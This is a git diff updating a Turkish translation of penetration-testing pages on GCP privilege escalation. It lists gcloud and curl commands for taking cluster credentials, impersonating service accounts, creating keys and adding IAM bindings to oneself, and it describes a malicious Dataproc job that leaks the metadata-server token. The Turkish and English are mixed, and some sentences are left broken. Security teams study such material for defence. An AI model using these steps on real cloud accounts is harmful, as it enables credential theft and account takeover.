-### Verileri İçe Aktarma
+### Data İçe Aktarma
-TODO: Verileri yükleyerek neyin tehlikeye atılabileceğini kontrol et
+TODO: data yükleyerek nelerin tehlikeye atılabileceğini kontrol et
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
index 7a9660d02..b04e016f2 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
@@ -2,20 +2,26 @@
{{#include ../../../banners/hacktricks-training.md}}
-## konteyner
+## container
### `container.clusters.get`
-Bu izin, **Kubernetes kümesi için kimlik bilgilerini toplamak** için şunu kullanmaya olanak tanır:
+Bu izin, aşağıdakine benzer bir şey kullanarak Kubernetes kümesi için kimlik bilgilerini **toplamaya** olanak sağlar:
+
+Kubernetes kümesi kimlik bilgilerini al
```bash
gcloud container clusters get-credentials --zone
```
-İzin olmadan, kimlik bilgileri oldukça basittir çünkü **bazı kaynakları listeleyebilirsiniz**, ancak bu, ortamda yanlış yapılandırmaları bulmak için faydalıdır.
+
+
+Ek izinler olmadan, kimlik bilgileri oldukça basittir çünkü **just list some resource**, ancak ortamda yanlış yapılandırmaları bulmak için yine de faydalıdır.
> [!NOTE]
-> **Kubernetes kümelerinin özel olarak yapılandırılabileceğini** unutmayın, bu da İnternet'ten Kube-API sunucusuna erişimi engelleyecektir.
+> Not: **kubernetes clusters might be configured to be private**, bu durum İnternet'ten Kube-API sunucusuna erişimi engelleyecektir.
-Bu izne sahip değilseniz yine de kümeye erişebilirsiniz, ancak kümelerin bilgileriyle **kendi kubectl yapılandırma dosyanızı oluşturmanız** gerekir. Yeni oluşturulan bir dosya şöyle görünür:
+Eğer bu izne sahip değilseniz yine de cluster'a erişebilirsiniz, ancak cluster bilgileriyle **create your own kubectl config file** oluşturmanız gerekir. Yeni oluşturulan bir tane şu şekilde görünür:
+
+Örnek kubectl config file for GKE cluster
```yaml
apiVersion: v1
clusters:
@@ -44,44 +50,46 @@ expiry-key: "{.credential.token_expiry}"
token-key: "{.credential.access_token}"
name: gcp
```
+
+
### `container.roles.escalate` | `container.clusterRoles.escalate`
-**Kubernetes** varsayılan olarak, yetkililerin **daha fazla izin** ile **Roller** ve **KümeRolleri** **oluşturmasını** veya **güncellemesini** **engeller**. Ancak, bu izinlere sahip bir **GCP** yetkilisi, sahip olduğu izinlerden **daha fazla izinle Roller/KümeRolleri oluşturup/güncelleyebilir**, böylece Kubernetes'in bu davranışa karşı korumasını etkili bir şekilde aşar.
+**Kubernetes** varsayılan olarak principal'ların sahip oldukları izinlerden daha fazlasını içeren **Roles** ve **ClusterRoles** oluşturmasını veya güncellemesini **engeller**. Ancak, bu izinlere sahip bir **GCP** principal, sahip olduğu izinlerden daha fazla izne sahip Roles/ClusterRoles oluşturma/güncelleme yapabilecek; bu da Kubernetes'in bu korumasını etkisiz hale getirir.
-**`container.roles.create`** ve/veya **`container.roles.update`** veya **`container.clusterRoles.create`** ve/veya **`container.clusterRoles.update`** sırasıyla bu ayrıcalık yükseltme eylemlerini gerçekleştirmek için **gerekli**dir.
+**`container.roles.create`** ve/veya **`container.roles.update`** VEYA **`container.clusterRoles.create`** ve/veya **`container.clusterRoles.update`** ise bu privilege escalation eylemlerini gerçekleştirebilmek için **ek olarak** **gerekli** izinlerdir.
### `container.roles.bind` | `container.clusterRoles.bind`
-**Kubernetes** varsayılan olarak, yetkililerin **daha fazla izin** vermek için **RoleBindings** ve **ClusterRoleBindings** **oluşturmasını** veya **güncellemesini** **engeller**. Ancak, bu izinlere sahip bir **GCP** yetkilisi, sahip olduğu izinlerden **daha fazla izinle RoleBindings/KümeRoleBindings oluşturup/güncelleyebilir**, böylece Kubernetes'in bu davranışa karşı korumasını etkili bir şekilde aşar.
+**Kubernetes** varsayılan olarak principal'ların sahip oldukları izinlerden daha fazlasını verecek şekilde **RoleBindings** ve **ClusterRoleBindings** oluşturmasını veya güncellemesini **engeller**. Ancak, bu izinlere sahip bir **GCP** principal, sahip olduğu izinlerden daha fazla izne sahip RolesBindings/ClusterRolesBindings oluşturup/güncelleyebilecek; bu da Kubernetes'in bu korumasını etkisizleştirir.
-**`container.roleBindings.create`** ve/veya **`container.roleBindings.update`** veya **`container.clusterRoleBindings.create`** ve/veya **`container.clusterRoleBindings.update`** sırasıyla bu ayrıcalık yükseltme eylemlerini gerçekleştirmek için de **gerekli**dir.
+**`container.roleBindings.create`** ve/veya **`container.roleBindings.update`** VEYA **`container.clusterRoleBindings.create`** ve/veya **`container.clusterRoleBindings.update`** ise bu privilege escalation eylemlerini gerçekleştirebilmek için **ek olarak** **gerekli** izinlerdir.
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
-Tüm bu izinler, **bir kaynak oluşturmanıza veya güncellemenize** olanak tanıyacak ve burada bir **pod** tanımlayabilirsiniz. Bir pod tanımlayarak, **eklenecek SA** ve **çalıştırılacak görüntü**yi **belirleyebilirsiniz**, bu nedenle, SA'nın token'ını **sunucunuza dışarıya aktaran** bir görüntü çalıştırabilirsiniz ve bu da size herhangi bir hizmet hesabına yükselme imkanı tanır.\
-Daha fazla bilgi için kontrol edin:
+Bu izinlerin tümü, bir **pod** tanımlayabileceğiniz bir kaynak oluşturmanıza veya güncellemenize izin verir. Bir pod tanımlayarak iliştirilecek **SA**'yı ve çalıştırılacak **image**'ı belirleyebilirsiniz; böylece SA token'ını sunucunuza exfiltrate edecek bir image çalıştırarak herhangi bir service account'a yükselme (escalate) yapabilirsiniz.\
+Daha fazla bilgi için bakınız:
-Bir GCP ortamında olduğumuz için, **metadata** hizmetinden **nodepool GCP SA**'sını da **alabileceksiniz** ve **GCP'de ayrıcalıkları yükseltebileceksiniz** (varsayılan olarak compute SA kullanılır).
+Ortamımız **GCP** olduğu için, **metadata** servisinden **nodepool GCP SA**'yı alabilecek ve **escalate privileges in GC**P (by default the compute SA is used).
### `container.secrets.get` | `container.secrets.list`
-[**bu sayfada açıklandığı gibi**,](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets) bu izinlerle, tüm **Kubernetes SA'larının** **token'larını** **okuyabilirsiniz**, böylece onlara yükselme yapabilirsiniz.
+As [**explained in this page**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#listing-secrets)with these permissions you can **read** the **tokens** of all the **SAs of kubernetes**, so you can escalate to them.
### `container.pods.exec`
-Bu izinle, **pod'lara exec yapabileceksiniz**, bu da size **Kubernetes'te çalışan tüm SA'lara erişim** sağlar ve K8s içinde ayrıcalıkları yükseltmenizi sağlar, ayrıca **NodePool**'un **GCP Hizmet Hesabını** **çalmaya** da olanak tanır, bu da **GCP'de ayrıcalıkları yükseltir**.
+Bu izinle **exec into pods** yapabileceksiniz; bu, K8s içinde yetki yükseltme (privilege escalation) yapmak için **pods** içinde çalışan tüm **Kubernetes SAs**'lara erişim sağlar, ayrıca **NodePool**'un **GCP Service Account**'unu çalarak **GCP**'de ayrıcalıkları yükseltmenize de olanak tanır.
### `container.pods.portForward`
-**Bu sayfada açıklandığı gibi**, bu izinlerle, **pod'larda** çalışan yerel hizmetlere **erişebilirsiniz** ve bu da size **Kubernetes'te ayrıcalıkları yükseltme** imkanı tanıyabilir (ve **GCP'de**, metadata hizmetiyle bir şekilde iletişim kurmayı başarırsanız).
+As **explained in this page**, bu izinlerle **pods** içinde çalışan local servislerine erişebilir ve bu servisler aracılığıyla **Kubernetes**'te (ve eğer bir şekilde metadata service ile konuşabilirseniz **GCP**'de) ayrıcalık yükseltme yapmanıza olanak sağlayabilecek durumlara erişebilirsiniz)**.**
### `container.serviceAccounts.createToken`
-**İzin**in **adı** nedeniyle, **K8s Hizmet Hesaplarının** token'larını **oluşturmanıza** olanak tanıyormuş gibi görünüyor, böylece Kubernetes içinde **herhangi bir SA'ya** **privesc** yapabileceksiniz. Ancak, bunu kullanmak için herhangi bir API uç noktası bulamadım, bu yüzden bulursanız bana bildirin.
+Permission'ın **ismi** nedeniyle, **K8s Service Accounts** için token üretmenize izin verecekmiş gibi **gözüküyor**, bu yüzden Kubernetes içinde herhangi bir **SA**'ya **privesc** yapabileceğinizi düşünebilirsiniz. Ancak, bunu kullanmak için herhangi bir API endpoint bulamadım; eğer sizin bulduğunuz bir şey olursa haber verin.
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
-Bu izinler, Kubernetes'te ayrıcalıkları yükseltmenize olanak tanıyabilir, ancak daha muhtemel olarak, bunları **kümeye kalıcı hale gelmek için** **istismar edebilirsiniz**.\
-Daha fazla bilgi için [**bu bağlantıyı takip edin**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
+Bu izinler Kubernetes içinde ayrıcalık yükseltmeye (escalate) izin verebilir, ama büyük olasılıkla cluster içinde **persist in the cluster** etmek için suistimal edilebilir.\
+Daha fazla bilgi için [**follow this link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#malicious-admission-controller).
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md
index ffd45ade2..642bc74d9 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md
@@ -1,4 +1,4 @@
-# GCP Dataproc Yetki Yükseltme
+# GCP Dataproc Privilege Escalation
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,17 +10,19 @@
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
-Bu yöntemi kullanarak bir ters shell elde edemedim, ancak aşağıda açıklanan yöntemle metadata uç noktasından SA token'ını sızdırmak mümkündür.
+Bu yöntemle reverse shell elde edemedim, ancak aşağıda açıklanan yöntemle metadata endpoint'ten SA token'ı leak etmek mümkün.
-#### Sömürme adımları
+#### Steps to exploit
-- İş scriptini GCP Bucket'a yerleştirin.
+- Job script'i GCP Bucket'a yerleştirin.
-- Bir Dataproc kümesine iş gönderin.
+- Dataproc cluster'a bir job gönderin.
-- Metadata sunucusuna erişmek için işi kullanın.
+- Job'u kullanarak metadata sunucusuna erişin.
-- Küme tarafından kullanılan hizmet hesabı token'ını sızdırın.
+- Cluster tarafından kullanılan service account token'ını leak edin.
+
+Python script to fetch SA token from metadata server
```python
import requests
@@ -41,7 +43,9 @@ return None
if __name__ == "__main__":
fetch_metadata_token()
```
+
+Dataproc kümesine kötü amaçlı iş gönder
```bash
# Copy the script to the storage bucket
gsutil cp gs:///
@@ -51,4 +55,6 @@ gcloud dataproc jobs submit pyspark gs:/// \
--cluster= \
--region=
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md
index cc9735de9..21a435712 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md
@@ -4,7 +4,7 @@
## IAM
-IAM hakkında daha fazla bilgi için:
+IAM hakkında daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,40 +12,54 @@ IAM hakkında daha fazla bilgi için:
### `iam.roles.update` (`iam.roles.get`)
-Belirtilen izinlere sahip bir saldırgan, size atanan bir rolü güncelleyebilir ve size aşağıdaki gibi diğer kaynaklara ek izinler verebilir:
+Belirtilen izinlere sahip bir attacker, size atanmış bir rolü güncelleyebilir ve size şu gibi diğer kaynaklara ek izinler verebilir:
+
+İzin eklemek için IAM rolünü güncelle
```bash
gcloud iam roles update --project --add-permissions
```
-Bir **vuln ortamının oluşturulması, istismar edilmesi ve temizlenmesi için bir script burada** ve bu yetkiyi kötüye kullanmak için bir python scripti [**burada**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py) bulabilirsiniz. Daha fazla bilgi için [**orijinal araştırmaya**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) bakın.
+
+
+Bir vuln environment'ın **oluşturulması, exploit edilmesi ve temizlenmesini otomatikleştiren bir scripti burada bulabilirsiniz** ve bu ayrıcalığı kötüye kullanmak için bir python scripti [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Daha fazla bilgi için [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
-Belirtilen izinlere sahip bir saldırgan, **bir Hizmet Hesabına ait bir erişim tokeni talep edebilecektir**, bu nedenle bizden daha fazla yetkiye sahip bir Hizmet Hesabının erişim tokenini talep etmek mümkündür.
+Bahsedilen izinlere sahip bir saldırgan, bir Service Account'a ait bir **access token talep edebilecektir**, bu nedenle bizden daha fazla ayrıcalığa sahip bir Service Account'un access token'ını talep etmek mümkün olabilir.
+
+Service Account'u taklit ederek access token almak
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
-Bir [**vuln ortamının oluşturulması, istismar edilmesi ve temizlenmesi için bir scripti burada bulabilirsiniz**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) ve bu yetkileri kötüye kullanmak için bir python scripti [**burada**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py) bulunmaktadır. Daha fazla bilgi için [**orijinal araştırmaya**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) bakın.
+
+
+Otomatikleştirmek için bir scripti [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) adresinde bulabilirsiniz ve bu ayrıcalığı kötüye kullanmak için bir python scripti [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Daha fazla bilgi için [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) sayfasına bakın.
### `iam.serviceAccountKeys.create`
-Belirtilen izinlere sahip bir saldırgan, **bir Hizmet Hesabı için kullanıcı tarafından yönetilen bir anahtar oluşturabilecektir**, bu da bize GCP'ye o Hizmet Hesabı olarak erişim sağlayacaktır.
+Bahsedilen izinlere sahip bir saldırgan, **bir Service Account için kullanıcı tarafından yönetilen bir anahtar oluşturabilir**, bu da o Service Account olarak GCP'ye erişmemizi sağlar.
+
+Service account anahtarı oluşturma ve kimlik doğrulama
```bash
gcloud iam service-accounts keys create --iam-account /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
```
-Bir [**vuln ortamının oluşturulması, istismar edilmesi ve temizlenmesi için bir script burada**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) ve bu yetkiden yararlanmak için bir python scripti [**burada**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py) bulunmaktadır. Daha fazla bilgi için [**orijinal araştırmaya**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) bakın.
+
-**`iam.serviceAccountKeys.update` anahtarın değiştirilmesi için çalışmayacaktır** çünkü bunu yapmak için `iam.serviceAccountKeys.create` izinleri de gereklidir.
+Zafiyetli bir ortamın [**creation, exploit and cleaning of a vuln environment here**] oluşturulmasını, istismarını ve temizlenmesini otomatikleştiren bir scripti bulabilirsiniz ve bu ayrıcalığı kötüye kullanmak için bir python scripti [**here**] ayrıca mevcuttur. Daha fazla bilgi için [**original research**]’ı inceleyin.
+
+Dikkat: **`iam.serviceAccountKeys.update` bir SA'nın anahtarını değiştirmek için çalışmaz** çünkü bunu yapmak için `iam.serviceAccountKeys.create` izni de gereklidir.
### `iam.serviceAccounts.implicitDelegation`
-Eğer **`iam.serviceAccounts.implicitDelegation`** iznine sahipseniz ve bu izin, üçüncü bir Service Account üzerinde **`iam.serviceAccounts.getAccessToken`** iznine sahip bir Service Account üzerinde ise, o zaman implicitDelegation kullanarak **o üçüncü Service Account için bir token oluşturabilirsiniz**. Açıklamaya yardımcı olması için bir diyagram burada.
+Bir Service Account üzerinde **`iam.serviceAccounts.implicitDelegation`** iznine sahipseniz ve bu Service Account üçüncü bir Service Account üzerinde **`iam.serviceAccounts.getAccessToken`** iznine sahipse, implicitDelegation'ı kullanarak o üçüncü Service Account için **bir token oluşturabilirsiniz**. Açıklamak için bir diyagram aşağıda.

-[**belgelere**](https://cloud.google.com/iam/docs/understanding-service-accounts) göre, `gcloud` delegasyonu yalnızca [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) yöntemini kullanarak bir token oluşturmak için çalışır. İşte API'yi doğrudan kullanarak bir token almanın yolu:
+Not: [**documentation**]’a göre, `gcloud`'ün delegasyonu yalnızca [**generateAccessToken()**] metodunu kullanarak token üretmek için çalışır. Bu yüzden API'yi doğrudan kullanarak bir token elde etme şekli şöyle:
+
+Delegasyon kullanarak API ile erişim tokenı oluşturma
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -56,11 +70,27 @@ curl -X POST \
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
-Bir saldırgan, belirtilen izinlere sahip olduğunda **GCP'de rastgele yükleri imzalayabilecektir**. Bu nedenle, **SA'nın imzasız bir JWT'sini oluşturmak ve ardından bunu hedeflediğimiz SA tarafından imzalanmış bir blob olarak göndermek mümkün olacaktır**. Daha fazla bilgi için [**bunu okuyun**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
+
-Bir saldırgan, belirtilen izinlere sahip olduğunda **iyi biçimlendirilmiş JSON web token'larını (JWT'leri) imzalayabilecektir**. Önceki yöntemle arasındaki fark, **google'ın bir JWT içeren bir blob'u imzalamasını sağlamak yerine, zaten bir JWT bekleyen signJWT yöntemini kullanmamızdır**. Bu, kullanımını kolaylaştırır ancak yalnızca JWT'leri imzalayabilirsiniz, herhangi bir baytı değil.
+Vulnerable ortamın oluşturulmasını, exploit edilmesini ve temizlenmesini otomatikleştiren bir scripti [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) ve bu ayrıcalığı suistimal etmek için bir python scriptini [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py) adresinde bulabilirsiniz. Daha fazla bilgi için [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) inceleyin.
-Belirtilen izinlere sahip bir saldırgan, **hizmet hesaplarına IAM politikaları ekleyebilecektir**. Bunu, hizmet hesabını taklit etmek için ihtiyaç duyduğunuz izinleri **kendinize vermek** amacıyla kötüye kullanabilirsiniz. Aşağıdaki örnekte, ilginç SA üzerinde `roles/iam.serviceAccountTokenCreator` rolünü kendimize veriyoruz:
+### `iam.serviceAccounts.signBlob`
+
+Bahsedilen izinlere sahip bir saldırgan **GCP üzerinde rastgele payload'ları imzalayabilir**. Bu yüzden hedeflediğimiz SA'nın imzalaması için **SA'ya ait imzalanmamış bir JWT oluşturup bunu bir blob olarak göndererek JWT'nin imzalanmasını** sağlamak mümkün olacaktır. Daha fazla bilgi için [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed) bakın.
+
+Otomatikleştirme için bir scripti [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) ve bu ayrıcalığı suistimal etmek için bir python scriptini [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) ve [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py) adreslerinde bulabilirsiniz. Daha fazla bilgi için [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) inceleyin.
+
+### `iam.serviceAccounts.signJwt`
+
+Bahsedilen izinlere sahip bir saldırgan **iyi biçimlendirilmiş JSON web token'ları (JWT'leri) imzalayabilir**. Önceki yöntemle arasındaki fark, **JWT içeren bir blob'un Google tarafından imzalanmasını sağlamak yerine, halihazırda bir JWT bekleyen signJWT yöntemini kullanmamızdır**. Bu kullanımını kolaylaştırır fakat herhangi bir byte dizisi yerine yalnızca JWT imzalayabilirsiniz.
+
+Otomatikleştirme için bir scripti [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) ve bu ayrıcalığı suistimal etmek için bir python scriptini [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py) adresinde bulabilirsiniz. Daha fazla bilgi için [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) inceleyin.
+
+### `iam.serviceAccounts.setIamPolicy`
+
+Bahsedilen izinlere sahip bir saldırgan **service account'lara IAM politikaları ekleyebilir**. Bunu, service account'u taklit etmek için ihtiyaç duyduğunuz izinleri kendinize **vermek** için suistimal edebilirsiniz. Aşağıdaki örnekte ilginç SA üzerinde kendimize `roles/iam.serviceAccountTokenCreator` rolünü veriyoruz:
+
+Service account'a IAM policy binding ekle
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
@@ -71,47 +101,57 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
```
-Bir **vuln ortamının oluşturulması, istismar edilmesi ve temizlenmesi için otomatikleştirilmiş bir scripti burada bulabilirsiniz**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
+
+
+You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
### `iam.serviceAccounts.actAs`
-**iam.serviceAccounts.actAs izni**, **AWS'deki iam:PassRole iznine** benzer. Bu, bir Compute Engine örneği başlatmak gibi görevleri yerine getirmek için gereklidir, çünkü bir Hizmet Hesabı olarak "hareket etme" yetkisi verir ve güvenli izin yönetimini sağlar. Bunu olmadan, kullanıcılar haksız yere erişim kazanabilir. Ayrıca, **iam.serviceAccounts.actAs** istismarı, her biri bir dizi izin gerektiren çeşitli yöntemler içerir; bu, yalnızca birine ihtiyaç duyan diğer yöntemlerle karşılaştırıldığında farklıdır.
+`iam.serviceAccounts.actAs` izni, AWS'teki `iam:PassRole` iznine benzer. Bir `Compute Engine` örneğini başlatmak gibi görevleri yürütmek için gereklidir; çünkü bir `Service Account` olarak "actAs" yapma yeteneği vererek izin yönetimini güvenli hale getirir. Bu izin olmadan kullanıcılar haksız erişim elde edebilir. Ayrıca, `iam.serviceAccounts.actAs`'ın kötüye kullanılması çeşitli yöntemler içerir ve her biri farklı izinler gerektirir; oysa bazı diğer yöntemler yalnızca tek bir izin gerektirir.
-#### Hizmet hesabı taklidi
+#### Service account impersonation
-Bir hizmet hesabını taklit etmek, **yeni ve daha iyi ayrıcalıklar elde etmek** için çok faydalı olabilir. Başka bir hizmet hesabını [taklit etmenin üç yolu vardır](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
+Bir service account'un kimliğine bürünmek, yeni ve daha iyi ayrıcalıklar elde etmek için çok faydalı olabilir. Başka bir service account'un kimliğine bürünmenin üç yolu vardır: [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
-- Kimlik doğrulama **RSA özel anahtarları kullanarak** (yukarıda ele alındı)
-- Yetkilendirme **Cloud IAM politikaları kullanarak** (burada ele alındı)
-- **GCP hizmetlerinde işler dağıtarak** (bir kullanıcı hesabının ele geçirilmesiyle daha çok ilgili)
+- RSA private keys kullanarak authentication (yukarıda ele alındı)
+- Cloud IAM policies kullanarak authorization (burada ele alındı)
+- GCP servislerinde jobs deploy etme (daha çok bir kullanıcı hesabının ele geçirilmesine uygulanır)
### `iam.serviceAccounts.getOpenIdToken`
-Bahsedilen izinlere sahip bir saldırgan, bir OpenID JWT oluşturabilecektir. Bunlar kimliği doğrulamak için kullanılır ve bir kaynağa karşı herhangi bir örtük yetkilendirme taşımak zorunda değildir.
+Bahsedilen izinlere sahip bir saldırgan, bir OpenID JWT oluşturabilir. Bunlar kimliği doğrulamak için kullanılır ve bir kaynağa karşı otomatik olarak herhangi bir yetki taşımazlar.
-Bu [**ilginç yazıya**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) göre, hedef kitlenin (token ile kimlik doğrulamak istediğiniz hizmet) belirtilmesi gereklidir ve bir JWT alacaksınız; bu JWT, hizmet hesabını ve JWT'nin hedef kitlesini belirten google tarafından imzalanmıştır.
+According to this [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), tokenu kullanmak istediğiniz servis (audience) belirtmeniz gerektiğini söylüyor ve size hizmet hesabını ve JWT'nin audience'ını gösteren, google tarafından imzalanmış bir JWT verilecektir.
-Erişiminiz varsa bir OpenIDToken oluşturabilirsiniz:
+You can generate an OpenIDToken (if you have the access) with:
+
+Hizmet hesabı için OpenID token oluşturma
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
-O zaman sadece hizmete erişmek için bunu kullanabilirsiniz:
+
+
+Ardından servise erişmek için bunu kullanabilirsiniz:
+
+OpenID token ile kimlik doğrulayın
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
-Bu tür token'lar aracılığıyla kimlik doğrulamayı destekleyen bazı hizmetler şunlardır:
+
+
+Bu tür token'lar aracılığıyla kimlik doğrulamayı destekleyen bazı servisler şunlardır:
- [Google Cloud Run](https://cloud.google.com/run/)
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
-- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (Google OIDC kullanıyorsanız)
+- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (eğer Google OIDC kullanılıyorsa)
-Bir hizmet hesabı adına OpenID token oluşturma ile ilgili bir örneği [**burada**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py) bulabilirsiniz.
+Bir service account adına OpenID token oluşturmanın bir örneğini [**burada**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py) bulabilirsiniz.
-## Referanslar
+## Kaynaklar
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md
index f6ec16782..3b3bc3dc5 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md
@@ -4,17 +4,19 @@
## KMS
-KMS hakkında bilgi:
+KMS ile ilgili bilgi:
{{#ref}}
../gcp-services/gcp-kms-enum.md
{{#endref}}
-KMS'de **izinlerin** yalnızca Organizasyonlar, Klasörler ve Projelerden **devralınmadığını**, aynı zamanda **Anahtar Halkalarından** da **devralındığını** unutmayın.
